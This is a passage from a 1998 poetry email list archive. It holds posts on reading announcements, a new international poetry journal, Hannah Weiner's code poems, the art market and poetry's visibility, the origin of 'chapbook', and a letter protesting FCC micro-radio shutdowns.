If so, it would be one of those words that did not originate in the USA.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

661. **Miekal And**
Re: this and that
Thu 18 Jun 1998

alan
welcome
back to
the states
I see that
brooklyn
hasnt changed
in your
absence

--

now that you are
in the us does that mean that
nikuku will virtually
disappear to be replaced by?

been enjoying reading the poetry & $ discussion, tho it seems that noone has anything optimistic to say about it, as I help install a friend's hardwood floor, to get by.

miekal

↑ Index

662. **Bob Grotjohn**
Re: poetry readings...
Thu 18 Jun 1998

izak wrote:
>
> can anyone tell me if there are any readings of interest coming up in los
> angeles?
Hello everyone. Here is a final reminder about our upcoming June 18th Korean American Reading/Fundraiser. Although most of our events are free, this is a special fundraiser to keep non-profit organizations like ours alive - proceeds of this fundraising will go towards the AAWW literary programs in California, including an upcoming anthology of Korean American writers. We would like to thank all of you for your support towards the Asian American Writers Workshop and the Los Angeles Asian American Literary Project. We've had a successful
year, and look forward to our new season, starting this fall. Please

contact us if you would like to be a volunteer and help out! Thank you again for your support.

PS. And yes, to the several folks who asked - THERE WILL BE FOOD AT THE EVENT!

Sincerely,
Paula Yoo

FOR IMMEDIATE RELEASE
June 16, 1998

Contact: Paula Yoo, 310/[redacted]
Su Moon, 213/[redacted]
Literary Project Hotline: 213/[redacted]

AAWW AND THE LOS ANGELES ASIAN AMERICAN LITERARY PROJECT PRESENT "A CELEBRATION OF KOREAN AMERICAN ARTS" FUNDRAISER

WHEN: Thursday, June 18, 1998
7:30 p.m.

WHERE: Beyond Baroque at 681 Venice Blvd., Venice, CA (Call 310/[redacted] for directions)

ADMISSION: $10 at the door

DETAILS: Proceeds of this fundraising will go towards the AAWW literary programs in California, including an upcoming anthology of Korean American writers. Refreshments will be provided!

READERS' BIOS:

STEPHANIE HAN is an actress and writer. She is the author of L.A.(Lovers Anonymous) and a two time awardee of the Los Angeles Department of Cultural Affairs grant for writing.

CHUNGMI KIM, originally from South Korea, is the author of Chungmi - Selected Poems, and the Writers Guild Foundation award-winning screenplay "The Dandelion." Her poetry has been included in numerous anthologies, including Selected Poems by Three Korean American Poets from a special presentation at the Library of Congress. She also writes and produces for television.

WALTER LEW, a recipient of fellowships from the National Endowment for the Arts and New York State Council on the Arts, has published Premonitions: The Kaya Anthology of New Asian North American Poetry and Excerpts from DIKTE, a critical collage on the work of Theresa Hak Kyung Cha. His own collection of poetry, Brine, will be released next year. His work has been included in such

anthologies as Charlie Chan is Dead, New Worlds of Literature, and Breaking Silence. He is currently preparing the selected works with commentary of the Korean modernist Yi Sang (U. of California Press), the Korean American novelist Younghill Kang, and New York Chinatown poet Frances Chung. He has been a writer and producer for several nationally broadcast documentaries and was the founding editor of Kaya Production.

JOHN SONG is a 1.5 generation Korean American writer living in Long Beach. His fiction and poetry have been published in various journals and anthologies, including the Asian Pacific American Journal, and Charlie Chan is Dead, a national anthology of Asian American fiction. He is a recipient of a 1997 PEN Center USA West Emerging Voices Fellowship and winner of the 1997 AT&T-East/West Players New Voices Playwriting Competition.

NANCY WON is a screenwriter and fiction writer living in Los Angeles. She received her BA in philosophy from Yale University and her MFA in Writing from the University of Texas where she was a James Michener fellow. She works in television and is writing her first novel.

This event is part of the AAWW Los Angeles Asian American Literary Project, a series of readings and writing workshops taking place in the greater Los Angeles area. It is supported in part by a generous grant from the City of Los Angeles Cultural Affairs Department. The Asian American Writers Workshop is a non-profit organization founded in 1991 to help facilitate the creation, publication, and dissemination of Asian American literature. The organization also helps sponsor reading tours, publishes The Asian Pacific American Journal, and several anthologies.

For more information, call the LA AA Literary Project Hotline at 213/[redacted].

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663. **Douglas**
Re: Knife and Fork reading
Thu 18 Jun 1998

Actually, the title Mr. Knife, Miss Fork comes from
René Crevel's novel, BABYLON, where in the first chapter,
the young girl, whose father has run off with her young
cousin, imagines the couple through maneuvers of her knife and
fork across the white tablecloth of the Atlantic Ocean.

Several artists, Max Ernst (whose art appears on the cover of the first volume), Mann Ray, and Meret Oppenheim, did works titled "Mr Knife, Miss Fork," in connection with Crevel's book.

I just liked the title, and then, as I was writing my introduction realized the significance of it: My name "Messerli" means little knife, the eating utensil in Swiss German. As I put it in the first issue, "I am willing to play the knife, but only with the dance of the fork [the poetic community at large] can we celebrate the feast."

In that context, I am interested in hearing from anyone, with experience, who might be interested in doing short reviews. Of course, there are a great many new American books of poetry to be reviewed, but I am particulary seeking reviews for the following books of poetry in other languages and of translation:

Duda Machado, MARGEM DE UMA ONDA (in Portuguese)
Pascal Quignard, SARX (translated)
Anne-Marie Albiach, A GEOMETRY (translated)
Dino Campana, ORPHIC SONGS (translated)
Hatif Janabi, QUESTIONS AND THEIR RETINUE (translated)
Leonardo Sinisgalli, I SAW THE MUSES (translated)

American titles in need of short reviews include:

Arthur Sze, THE REDSHIFTING WEB
Peter Gizzi, ARTIFICIAL HEART
Michael Gizzi, NO BOTH

If you're interested please respond to [redacted]

Thanks.

morpheal wrote:
>
> >There was a reading at Sun & Moon's storefront in L.A. on Sunday, to
> >celebrate the publication of the first issue of MR. KNIFE AND MISS
> >FORK--a new journal, edited by Douglas Messerli, that focuses on
> >international poetry.
>
> I have not read or seen that anthology, but....."knife and fork" usually
> refers to an economic condition where all there is work for food and nothing
> more. The kind of mentality where there is no art or culture to speak of,
> but if your belly is full of food in the evening after a day of work, it
> means there was work to be thankful for, and that that is all that is
> possible. That being the same as the phrase:"knife and fork mentality".
>
> It is a condition somewhat uncommon in much of North America, but not quite
> so uncommon in many other parts of the world.
>

> Is that the implication in that context ? Or is it somewhat different
> and perhaps more obscure ?
>
> M.

↑ Index

664. **Dale Smith**
Re: Misappropriation from the List
Thu 18 Jun 1998

David, baby, after all we've been through, you're still smarting over that immoral transgression? I made you a star and this is the thanks I get? You were nothing and I turned you into a something. All this talk of high morals, what's got into you? Come on, I'll treat you to a Johnny Walker on ice. We can meet at the lounge of the nearest Holiday Inn. We gotta patch things up...

No, Bill, nothing was agreed upon. The Listmaster either b-c'd me or posted

> *to the List, that it was disapproved of, to take without requesting*
>
> *permission of the author, but as far as I know, nothing was enforced*

>against Dale Smith, a man who had a lot to say about morality and poetry

> *but who took words of mine for his magazine without any request for my*
>
> *permission. David*

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665. **Christopher Bijalba**
some hundred later
Thu 18 Jun 1998

---

or
unripe gripe re: naive poetic-er

been lurking a long time on this list, thanks to a/one Joe Amato, he schooled me a few here @iit.edu

and was going about the rounds:
admiring (what i could humbly/naively see as) sondheim's organic calculations

and
talks of Proper Poetic Nouns.

I have questions!

but, i feel locked by an idea i have that poetry
ould be word play...

ould ould ould
i *like* to play around with words
and ideas oomphasis on like

and maybe someone likes to watch me play
around with words and ideas.

(((hoo the tension is building up, am i doing the right thing? nail biter.

I can get off on my own play when

back and forth
the point to ANYthing?

ukh.... ukh... d, do ya see?

I have questions!

: EOF.

(all of the discussion has been really great, but)
(maybe
(cause of being a babe-eey
(I am feeling locked up about thinking so much about poetry
(sometimes)
(instead of being so much about poetry (a nonaction?
(don't point me to the beginners slope
(i've seen it! its got headless hunchbacks and, and
kodak pictures

well where i'm at is when i've written some stuffs and wondering what point it fits in

for who for whom
<mubble> social awareness <grubble>

↑ Index

666. **Maria Damon**
Re: Weiner's _Code Poems_
Thu 18 Jun 1998

maybe eventually. i feel kinda shy about it because i'm concerned that it'll be considered reductive, and i'm not quite confident about my ability to make an airtight argument. but basically i want to look at Hannah's poetry as trauma-related, thru a kind of "witness-victim" or "participant-observer" status as a young Jewish-American woman coming of age during the Jewish genocide of WWII and the subsequent revelations in the US press (1960s) about the real conditions of the camps. i see her clairvoyance as a kind of dissociative state, the type that also characterizes trauma survivors...etc., and of course the disembodied palimpsest-like ticker-tape feel of the "poetry itself" whatever that means...

At 7:28 PM -0700 6/17/98, Karen Kelley wrote:
>Any chance of your posting some of this Maria?
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>Charles Bernstein wrote:
>
>> Maria Damon's recent MLA presentation
>> (Maria will be giving a talk entitled "Hannah Weiner: Clairvoyance and
>> Trauma" for the UB Poetics Program on Thurs., Oct. 15).

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667. **Jacques Debrot**
Re: Art, Poetry, context
Thu 18 Jun 1998

It's not so much a matter of $$$ that I was trying to get at in my original post, as much as a question of cultural visibility. The whole discourse of art -- the discourse surrounding challenging & subversive work -- is played out on an impressively large scale-- John Yau after all is much better known -- except among us -- as an art critic than as a poet. As for cultural invisibility: in the last week or so I've read at least 2 reviews of the new Stein Lib of Am books & both make the incredible (only to us) observation that she has had *no impact on contemp Am writing*. So what? My point is that this clearly problematizes the politics of avant-garde poetry -- it doesn't make these politics, whatever they are, illegitimate -- but it does trouble them. (Of course cultural visibility is a relative thing -- the literary novel only reaches an audience comparable to that of, say, American professional soccer.) A theory: the cultural invisiblity of avant-garde poetry is not owing to the fact that the mainstream gets all the attention, but because the aesthetic of mainstream poetry (without question the most reactionary of all the arts) made poetry itself seem irrelevant to contemp critical thought

(practically nobody bothers to pass through the threshold of mainstream poetry -- and the mainstrem is in a sense the front door -- to find their way to the back rooms of exp. writing). I think if the mainstream had been more adventurous (if experiment had been valued as a mainstream virtue as it has been generally in the visual arts) poetry, in all its aspects, would have a more visible presence in the culture today. However, one of the strengths of av-g poetry seems to me its inter-generic character -- though it's suprising to me how little important work has been done along these lines -- or alot of what is important calls itself "sound art," "textual art," "book art," etc., not "poetry".

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668. **Aaron Vidaver**

Two June Kootenay School Readings in Vancouver

Thu 18 Jun 1998

Jean Day & Shelley McIntosh
Saturday June 20, 8pm
112 West Hastings
$3/$5

Robson Central/Kootenay School Reading #1
George Bowering & Dorothy Trujillo Lusk
Tuesday June 30, 8pm
750 Burrard

Lisa Jarnot reading on Sunday June 21 cancelled.

Full details at the Kootenay School home page:

http://www.intergate.bc.ca/personal/geschwitz

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669. **charles alexander**

Re: Weiner's _Code Poems_

Thu 18 Jun 1998

I second that.

Or, putting it on a web site which we can get to?

charles

At 07:28 PM 6/17/98 -0700, you wrote:
>Any chance of your posting some of this Maria?
>
>Charles Bernstein wrote:
>

>> Maria Damon's recent MLA presentation
>> (Maria will be giving a talk entitled "Hannah Weiner: Clairvoyance and
>> Trauma" for the UB Poetics Program on Thurs., Oct. 15).
>
>
chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax

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670. **morpheal**
Re: raw numbers
Thu 18 Jun 1998

> *"The opinion that cognitive connections can be found in the real world only as far as qualitative determinations are reduced to quantitative ones, which asserted itself in modern times in opposition to Aristotle's philosophy, has assumed fundamental importance for natural science.*

I am firmly of the belief that if you tell me something MUST and CAN be expressed only in mathematical terms, then it is simply untrue about the world we live in. If you can translate what you have so elegantly expressed in your mathematical language, into English words, using metaphors, analogies, and other linguistic techniques, then you might in fact have said something truly meaningful about the universe where we live.

I firmly believe that every scientist and mathematician ought to be forced to make those translations a routine part of their work, so as to avoid mathematical mystification as a purely "mythematical" truth that has much to do about conformity with the principles of formal logic, but might be wholly untrue about the real world. The failure as to translation between mathematical symbollic logic and linguistic poetic forms of expression would be indicative as to excessive imaginative idealism as opposed to solid foundations of real empiricism.

Also, I like the idea as to science becoming more poetic.

M.

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671. **Mark Prejsnar**
Re: Art, Poetry, context
Thu 18 Jun 1998

On Wed, 17 Jun 1998, trbell wrote:

> Being situated in the context of "art" does clearly lead to more visibility
> (and remuneration), but I've enver been able to clearly understand exactly
> why this should be. Ther are many people who simply don't like to read and
> think in left-brain fashion (or have difficulty doing so), but there are
> other (important!) elements of poetry which are not left-brained. Poetry
> did and does go through a caldron in it's school and academic presentations,
> but art sufferers some of the same presentation woes and the art/poetry
> diathesis exists beyond our twentieth-century English-language cave, I
> think. This leaves snobbism as an explanation, I think, but I would hope
> that it isn't a sufficient explanation.
>

Mark responds thusly:

The reasons in my opinion are not to be found in brain circuitry; nor in as simple an attitude as "snobbery." The reasons are (like almost all things) historical.

Different cultures shape and warp under different pressures, and are torqued by different events (whose original thrust had nothing to do with culture or art-activities, essentially). Thus, the particular mix of peoples and how they were mixed in the U.S. (slavery, in particular, and the especially pointed heritage of division it bequeathed us) has made popular music (driven in large part by polyrhythms, syncopations, abrasions and momentum from W. Africa) a strikingly dominant presence in our culture. You have to step back for a moment, and get enuff distance to realize that this isn't a universal. It is a unique instance of the evolution of a cultural system, deriving from the contingent accidents of history. (At least, they appear contingent, and are to some extent, when viewed at a certain rough-grained level of resolution...) Whereas, in eleventh century China, 17th century Russia, 19th century Spain or Hungary, the preeminent art-activity to no small extent was poetry. When I write as i have recently about poetry's marginalization vis-a-vis the commodified econo-culture of our day, these comparative details have to be kept in mind.

Now, as far as (visual, plastic) "art" is concerned, this also has nothing to do with sociobiological speculations regarding brain alignment etc. It has in my opinion to do with the development of different art-activities in the overall flow of economic structures. (Yes, they *do* flow..) Just as popular music is a more

dominent element in the landscape because of the afro-euro mix (but also due to its suitability for large scale performance, & for important functions like dancing, compared to say poetry; which starts to bring "scales of profitability" back into the argument.) so the production of unique visual art-objects has its own historical line of development. In essence, there is more money available to support viz art for the same reason there is more to support music activites (..compared to poetry); it is more tied in to the profit economy. Benjamin's concept of the "aura" that would be whittled away by the age of mechanical reproduction, has to be qualified (as he partly knew) when one realizes that the aura (like most things) has been ruthlessly commodified under late capitalism...There is a lot of moola floating around in the "art world" because a unique physical aritfact can be considered **an invertment**; and under the especially parasitic and degenerate conditions that have been brought in under Reagan and Clinton, there is a huge amount of rich-white-men's money there to be invested in channels outside economic production (as the far right agenda continues to pump most wealth upwards to the top 6 percent or so of families). Thus: lots and lots of *possibility* that any given artist may become the next big thing and have her sculptures bought as investments at a very high price...This dynamic burgoned relentlessly thoughout the 1970-1990 period, and eventually it was noticed for the disturbing abberent thing it is, and has since occasioned much hand-wringing and soul-searching by intellectuals on the art-world watch.

mark

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672. **Mark Prejsnar**

Ah those rich artists!!

Thu 18 Jun 1998

Just an addendum to my long disquisition bouncing off of tom bell's post.....

After launching it i read the estimable Chax's post re rich artists being a myth.

Yes (altho having known a number of painters, i wasn't at all aware that this **was** a cultural myth!!) it's true that viz artists are almost never rich...

Just thought i'd point out that (though Charles wasn't addressing my comments) my (and tom b.) speaking of there being more money floating around the "art-world" is a structural point, having to do with the scale of cash flow. It doesn't for a moment imply that most of that money is finding its way into the pockets of artists!! it isn't..It is going to gallery owners and is being passed among corporate art-consumers and millionaire collectors, who (as i mentioned) have in the last 40 years come to use the "rarity value" of viz art as a form of non-productive investment, like arbitrage on currency exchange, stock markets, bonds etc. etc. Labor (including that of painters) creates all wealth. And the wealth is

then expropriated by those who control and own the structures of production and distribution...

communistically,
m.

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673. **morpheal**
Re: MacEwen [some thoughts about artistic "popularity"]
Thu 18 Jun 1998

> *so tell us more; who's this gwendolyn mckuen*
> *So really: how well known is Gwen MacEwen's work in the US?*

Interesting question.

Due to her natural features, her outstanding sense of fashionable style, and her flair for some acting, she became popular, at a time when poetry was the thing to do, on Canadian street corners and in Canadian taverns and coffee houses. In America it was the "beats". In Canada it was "the people's poets" (though not named that yet). If it had been only the poetry that she wrote, and nothing else, no matter how talented the writing, or how important the subject of it, we can be quite sure MacEwen would have remained entirely unknown in Canada as well as in most other places.

A writer needs a lot more than simply writing, to become "popular". Also an artist needs a lot more than simply having the right friends, and knowing the right people, to be popular enough. Those ingredients also being essential, as in necessary but not sufficient in themselves. That, and the essential element of some opportunity to unfetter and develop the potential of native talents. The latter is not so often truly accorded by life to those attempt to achieve. Least of all nowadays, as we seem to be a society that is in an ever upward spiral of technological ascendancy and in a concurrent ever downward spiral as to artistic possibilities, compared to those many decades ago. Technology has gained popularity and art has lost popularity. Showmanship has also gained popularity and the expression of intensities and depths of meanings have lost considerable ground. We live in a different environment. (I digress somewhat. I wanted to emphasize that it takes a lot of popularity to gain meaningful opportunities, and some of the criteria for popularity are variables that change historically.)

Might we say that for any real semblance of artistic success some popularity within the artist's lifetime is an essential ingredient ? On the basis of the tales that are told, Gwen MacEwen was very popular, and particularly among those who knew her. In her day there was a time when she was as close to being Canadian poetic royalty, the darling of the poetry circles, as anyone has been or

could be. She was simply adored. That was in an era when poets were far less tongue tied, more abundant, more accepted, and more flamboyant.

The elements comprising popularity and need for it are as true in a limited context as it is in a larger context. Despite that example (MacEwen) it is often far from necessary as to the writing being good writing, according to any definable criteria, for popularity to accrue. It is also often far from necessary as to the writer writing about "interesting" subject matter. Sometimes the dullest writing can be very popular among the crowds.

M.

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674. **charles alexander**
Re: Art, Poetry, context
Thu 18 Jun 1998

At 10:55 AM 6/18/98 -0400, you wrote:
>and under the especially parasitic and
>degenerate conditions that have been brought in under Reagan and Clinton,
>there is a huge amount of rich-white-men's money there to be invested in
>channels outside economic production (as the far right agenda continues to
>pump most wealth upwards to the top 6 percent or so of families). Thus:
>lots and lots of *possibility* that any given artist may become the next
>big thing and have her sculptures bought as investments at a very high
>price...

too much artforum, perhaps?

from where I sit, in a city in the American southwest of some size with an arts community which is probably unduly large and active for its size; and because of my own circumstances, familial and otherwise, the wider arts (visual, dance, music, etc.) is more "my" community than is the specifically "poetry" community here -- this "lots and lots of *possibility* that any [ANY] given artist may become the next big thing . . ." is about as much possibility as that any [ANY] given poet will win the next Nobel Prize for literature. And if we want to talk about the art market in this way, we might also want to talk about the literary market, which, when you get away from poetry specifically and into fiction and nonfiction, includes "lots and lots" of possibility for money, too -- but a similar tiny few who see such money.

That said, I still think there's a great deal of truth about what Mark and Jacques say about the art market as an entity (market, social, cultural, etc.) -- just that not a lot of this filters down to the artists.

charles
chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax

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675. **morpheal**
Re: an institutionalized avant garde is
Thu 18 Jun 1998

> *..... and the stakes have gone up.*

In ancient times, the expression "what's at stake", meant one's head.

In Transylvania, for example, heads were displayed on stakes, when the stakes went up, as examples.....

Trivial trivia....

from M.

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676. **Pritchett,Patrick**
Re: Weiner's _Code Poems_
Thu 18 Jun 1998

Maria - please don't be shy - you're way brilliant, girl! - and who cares about "airtight" anyhow? The point is to make our brains leap in a new unexpected direction - to open up new fields of inquiry and consideration.

Thanks Mark Presjnar for a very thoughtful analysis of what drives the art market here in the US of A.

I missed the Objectivists panel yesterday but my co-worker and fellow poet Randy Roark tells me that Carl Rakosi had some very interesting comments to make about Zukofsky's personal life - real unvarnished. Item: LZ had never even been swimming or on a bicycle till he was 30. Item: he was terrible with women and in marrying Celia chose the wrong woman for him. Item: he always preached clarity as the ultimate poetic virtue but in reading his poems you could garner no idea what he felt about anything. All of which is debatable, I suppose. I'm no LZ expert - but Mark Scroggins, I'll pass along your request to Michael Heller (who told me the other night that "Boulder is a boutique masquerading as a village").

Patrick Pritchett

From: Maria Damon

To: [redacted]
Subject: Re: Weiner's _Code Poems_
Date: Thursday, June 18, 1998 9:10AM

maybe eventually. i feel kinda shy about it because i'm concerned that it'll be considered reductive, and i'm not quite confident about my ability to make an airtight argument. but basically i want to look at Hannah's poetry as trauma-related, thru a kind of "witness-victim" or "participant-observer" status as a young Jewish-American woman coming of age during the Jewish genocide of WWII and the subsequent revelations in the US press (1960s) about the real conditions of the camps. i see her clairvoyance as a kind of dissociative state, the type that also characterizes trauma survivors...etc., and of course the disembodied palimpsest-like ticker-tape feel of the "poetry itself" whatever that means...

At 7:28 PM -0700 6/17/98, Karen Kelley wrote:
>Any chance of your posting some of this Maria?
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>Charles Bernstein wrote:
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>> (Maria will be giving a talk entitled "Hannah Weiner: Clairvoyance and
>> Trauma" for the UB Poetics Program on Thurs., Oct. 15).

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677. **dbkk**
Re: giving up frenchified sex for good
Thu 18 Jun 1998

> *Date: Wed, 17 Jun 1998 10:22:39 -0700*
> *From: david bromige <[redacted]>*
> *Subject: giving up frenchified sex for good*
>
> *Gee, Dodie, I didnt know there was anything wrong with frenchified sex. The Others appeared to like it. It was better than or as good as Nothing.*

David,

Anybody who's seen those sly eyes of yours know you know all about desire.

> *I understand that in your desire to distinguish your marvelous book from asomeone's quick characterization of it (not even that, really ... just a tentative trying of the water), you likely had no intention upon others' use of the word. But as we see, I couldn't resist. The urge to kid around is a serious urge. Desire me to continue,if you will riposte. db3*

I don't have much Unstructured Free Time today, so this must be brief--but you're right to call me on this. After my post, I felt that, given the original post

I responded to was complementary to me, my tone was a bit severe. I don't have a surplus of praise in my life, so I certainly don't want to discourage any attempts at that.

And, of course--anybody can do whatever they want with Desire in writing, of course, of course. And psychoanalytic theory has been a major influence to me--but there is a brutality and kinkiness to that theory that seems to often get washed over when talking about writing one's desire. I think of some lady in a maraboo-fringed robe, perfumed, Mont Blanc poised above the page. This is modern-day American I'm living in, where ravishing and ravaged are synonyms more often than not.

And while we're on the French thing, I was force-fed Bataille in my years as a young writer. I'm like this goose with a huge Bataille liver. Even though, as a woman, I find him tres problematic.

Blame this all on my recent reading--Mark Seltzer's book on Serial Killers, now that Wasted book about the anorectic who gets down to 53 pounds, and waiting in line, Jacqueline Rose's Why War. Not exactly cheery.

x,
Dodie

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678. charles alexander
*Re: Weiner's _Code Poems_*
Thu 18 Jun 1998

---

sounds fascinating, and maybe "airtight arguments" aren't what we need, any-way. or airtight poems. how about flow-thru arguments?

charles

At 09:10 AM 6/18/98 -0500, you wrote:
>maybe eventually. i feel kinda shy about it because i'm concerned that
>it'll be considered reductive, and i'm not quite confident about my ability
>to make an airtight argument. but basically i want to look at Hannah's
>poetry as trauma-related, thru a kind of "witness-victim" or
>"participant-observer" status as a young Jewish-American woman coming of
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>clairvoyance as a kind of dissociative state, the type that also
>characterizes trauma survivors...etc., and of course the disembodied
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>
>
chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax

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679. **Laura Moriarty**
new non
Thu 18 Jun 1998

Two reviews: Jono Schneider on Laynie Browne and Norma Cole on Tod Thilleman -

ALSO - an excerpt from Amanda Kim's novel Thermal Beings - You gotta check this one out -

http://socrates.berkeley.edu/~moriarty/

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

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680. **morpheal**
Re: Ah those rich artists!!
Thu 18 Jun 1998

> *After launching it i read the estimable Chax's post re rich artists being a myth.*
>
> *....this **was** a cultural myth!!) it's true that viz artists are almost never rich...*

I wonder about how you are measuring wealth.

What is true wealth ? What makes someone truly rich ?

Surely you cannot define that purely as money and the ownership of things ?

To be able to spend some part of one's life with a beloved significant other, in ways that are mutually satisfying to that particular couple.

To have supportive and understanding family.

Some elements of freedom of expression and freedom of association.

Freedom from being psychologically and/or physically abused.

To have good friends. Particularly some who share one's interests.

To have one's health, and not suffer rejection or contempt due to any limitation, illness or disability that one might happen to suffer from.

I am sure I have not exhausted the list of what makes someone truly rich.

Are there any rich artists ? I don't really know. Are there any ?

M.

aka Bob Ezergailis

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681. **Peter Balestrieri**
"Cultural Workers"
Thu 18 Jun 1998

Bobbie West wrote: Have you tried working in a shipyard? A man here had a ton of steel dropped on his legs last week.

Right on, Bobbie!

To all the "cultural workers" struggling to make a living: have some cheese with that whine!

PB

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682. **morpheal**
Re: Ah those rich artists!!
Thu 18 Jun 1998

> *Just an addendum*
> *after launching it i read the estimable Chax's post re rich artists being*
> *a myth.*

ah....something else of much importance as to who is and who is not rich....

Having the opportunity to do work that is personally satisfying and that oneself enjoys doing. That is definitely another indication of great wealth, though not

necessarily monetary wealth. Sometimes that requires some monetary sacrifice rather than gain. It depends on what the situation really is.

The freedom to make that choice is also then a kind of being rich.

As are many other kinds of positive choices. Not the binary kinds of choices of something or nothing, but real positive choices between this and that. Not only the negative freedom of freedom from hunger, but the positive freedom of being able to sit at the feast and to enjoy it. Though I intend that more as a metaphor than as a literal statement.

M.

aka Bob Ezergailis

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683. **Michael Coffey**
chapbook -Reply
Thu 18 Jun 1998

---

chapbook comes from chapter book, i believe, a term still used in grade schools for certain kinds of short publications; kids read chapter books in, say, 4th, 5th grade, before getting to novels and the like. these books are paperbacks, and they are not long enough, usually, to be perfect bound, so they are often sewn signatures between paper covers, like a lot of the great poetry in this country from 1968 to 1980.

>>> UB Poetics discussion group 06/18/98 01:18pm >>>
This might seem a stoopid question, but last night I friend and I were discussing the word/object 'chapbook'... any ideas on where it came from?
first use? did this term originate in the US?

yours in brevity, and thanks

Peter Minter

↑ Index

684. **Billy Little**
Re: where's the poetry? (Don't ask Derrida)
Thu 18 Jun 1998

---

i agree it can lead in many directions but i don't at all agree with the pigeonholing so an so as such and such, do you propose to put Wales Visitation and Witchita Vortex Sutra in the same shoebox, better have a crowbar, labels are a diminution, i.e., she's NY school, i know about the ny school i don't have to read her, or langpo, just because i have trouble with b a say doesn't mean i can't

stand in awe of a d say, now Spicer's in the beatnik ghetto, ha, as i've said before for me there's two kinds of poetry, good poetry, poetry that moves, or stirs, or jolts, or wakes, and bad poetry which is 90% and most of what the academy does is split hairs about the 90%, my crony is not as bad as your crony, once the definitions are set, the truly unique poets fall through the cracks, anybody teaching Kenneth Patchen these days? or is he vizpo?

↑ Index

685. Christopher W. Alexander

Re: Judge Backs FCC Shutdown of Radio Microbroadca

Thu 18 Jun 1998

Andrew wrt:
> OAKLAND, CA -- A federal judge allowed the government on Tuesday to
> shut down "Free Radio Berkeley", run by an unlicensed low-power
> broadcaster who has fought a five-year guerilla war against the way
> federal authorities regulate the airwaves.
>
> U.S. Destrict Judge Claudia Wilken declined to rule on most of
> Stephen Dunifer's free-speech challenges to Federal Communications
> Commission restrictions because Dunifer never applied for an FCC
> license. She rejected Dunifer's argument that federal law fails to
> set standards for the FCC's decisions on licensing so-called
> microbroadcasters.

[delurk in progress - nnnnnnnnnnnnn]

now more than ever I want to remind people to contact the FCC and demand that this policy be rescinded; below is a copy of a letter I sent to the Chairman back in February - feel free to use it, post it, whatever. it cost me only $1 to send this as a fax from the university library where I work... mebbe next time we're out at the copy shop making those important chapbooks we can dig in a little...

apologies for cross-posting; I can give the full article as sent to FOP-L for Poetics folks if'n yre interested...

chris

Thursday, 26 February 1998

William Kennard, Chairperson
Federal Communications Commission
fax: [redacted]

Mr. Kennard, I am writing as a supporter of micro-radio (i.e., less than 100-watt), and, as such, writing against the FCC's policy of harassment regarding such stations. Micropower radio is an essential community-building tool, providing a local alternative to commercial stations, which display a "minimal commitment to public service" (a quote from New England's regional FCC chief) - so much so, in fact, that it's difficult to understand what "public" might mean in this context, save "those willing to pay". The FCC must recognize - you must recognize, Mr. Kennard - the agency's and your own explicit commitment to maintaining publically-owned airwaves in the public interest - that is, with a view to supporting local communities - and not solely in terms of corporate (National Assoc. of Broadcasters) interest. At this time, between a limit to 100+ watt stations, and its exceedingly high licensing and engineering fees, the FCC is simply not fulfilling its promised role; further, in having deliberately adopted a policy of closure re community micropower stations, the FCC is actively countering its supposed agenda. The comparison, now frequent, of your agency's licensing policies with England's Stamp Act and similar repressive measures enacted to "protect the public" - though actually a "protection" in service of other powers - is apt; and I must remind you that the guarantees given by our Bill of Rights were drafted in direct opposition to these measures.

Let me close by exhorting you earnestly to live up to your word, and to pursue the stated goals of the FCC. Micropower stations must be allowed to operate, and without harassment or the threat of closure; low wattage airspace must be opened to public use; finally, the FCC must adopt a reasonably scaled table of fees that takes into account the means of small communities in counterpoint to the wealth of broadcasting corporations. The airwaves belong to the public, and if administered they must be, they must be administered best to serve the public; to do otherwise is contrary to our stated rights to free speech, free assembly, and freedom of the press.

Thank you.

> [your name]
> [your address &/or email &/or fax]

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted] snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402 press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/ **site temporarily unavailable**

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686. **David Clippinger**
Re: LVNGs! LVNGs!
Thu 18 Jun 1998

Joel,

My wife (Annabelle Honza Clippinger, who has a poem or poems in issue 7) and I haven't received our copy of LVNG yet.

Sometime last year we sent Peter a check for $20 to help defray printing costs, etc. We are looking forward to seeing the issue. And our address is:

David and Annabelle Clippinger
1122 Fourth St.
Beaver, PA 15009

All best,
David

At 09:46 AM 6/4/98 -0500, you wrote:
>LVNG 7 is now available and includes Nathaniel Mackey's Song of the
>Ondomboulou: 26, fiction from Lynne Tillman which I read 30 times
>in the layout of the mag and still can't believe how good it is, Will
>Alexander in full-froth, tasty poems from Kristin Prevallet, Peter Cole live
>via satellite from time-crossed Israel, Michael Anania on the suspicious
>"missing matter" theory of the accelerationg universe, and, well, my
>commas are running out. Lots More! It's about more than just names, isn't it?
>We got unknowns! A fine investment opportunity! The venture capitalist's dream!
>
>
>The magazine is free, but please send 3 dollars for postage in a check
>made out to Michael O'Leary. Our address is
>P.O. box 3865
>Chicago, Illinois 60654-0865
>
>thanks, Joel Felix
>
>

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687. **Bob Grumman**
Re: Weiner's _Code Poems_
Thu 18 Jun 1998

I'm very much interested in ANYBODY'S code poems--if they are truly cryptographic; that is, if each a in a given poem, or coded part of a poem, equals some other letter. Do Hannah Weiner's code poems do this kind of thing? Or use some other cryptographic technique? I'm wholly unfamiliar with them. Could anyone quote one from Rothenberg/Joris? I'd much appreciate it.

--Bob G.

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688. **Maria Damon**
Re: Weiner's _Code Poems_
Thu 18 Jun 1998

yr so nice. and after all, why, if i so valorize permeable "imaginative" writing, do i fear my "critical" writing will be found lacking in impermeability? let's chalk it up to gender or something...

At 8:52 AM -0700 6/18/98, charles alexander wrote:
>sounds fascinating, and maybe "airtight arguments" aren't what we need,
>anyway. or airtight poems. how about flow-thru arguments?
>
>charles
>
>At 09:10 AM 6/18/98 -0500, you wrote:
>>maybe eventually. i feel kinda shy about it because i'm concerned that
>>it'll be considered reductive, and i'm not quite confident about my ability
>>to make an airtight argument. but basically i want to look at Hannah's
>>poetry as trauma-related, thru a kind of "witness-victim" or
>>"participant-observer" status as a young Jewish-American woman coming of
>>age during the Jewish genocide of WWII and the subsequent revelations in
>>the US press (1960s) about the real conditions of the camps. i see her
>>clairvoyance as a kind of dissociative state, the type that also
>>characterizes trauma survivors...etc., and of course the disembodied
>>palimpsest-like ticker-tape feel of the "poetry itself" whatever that
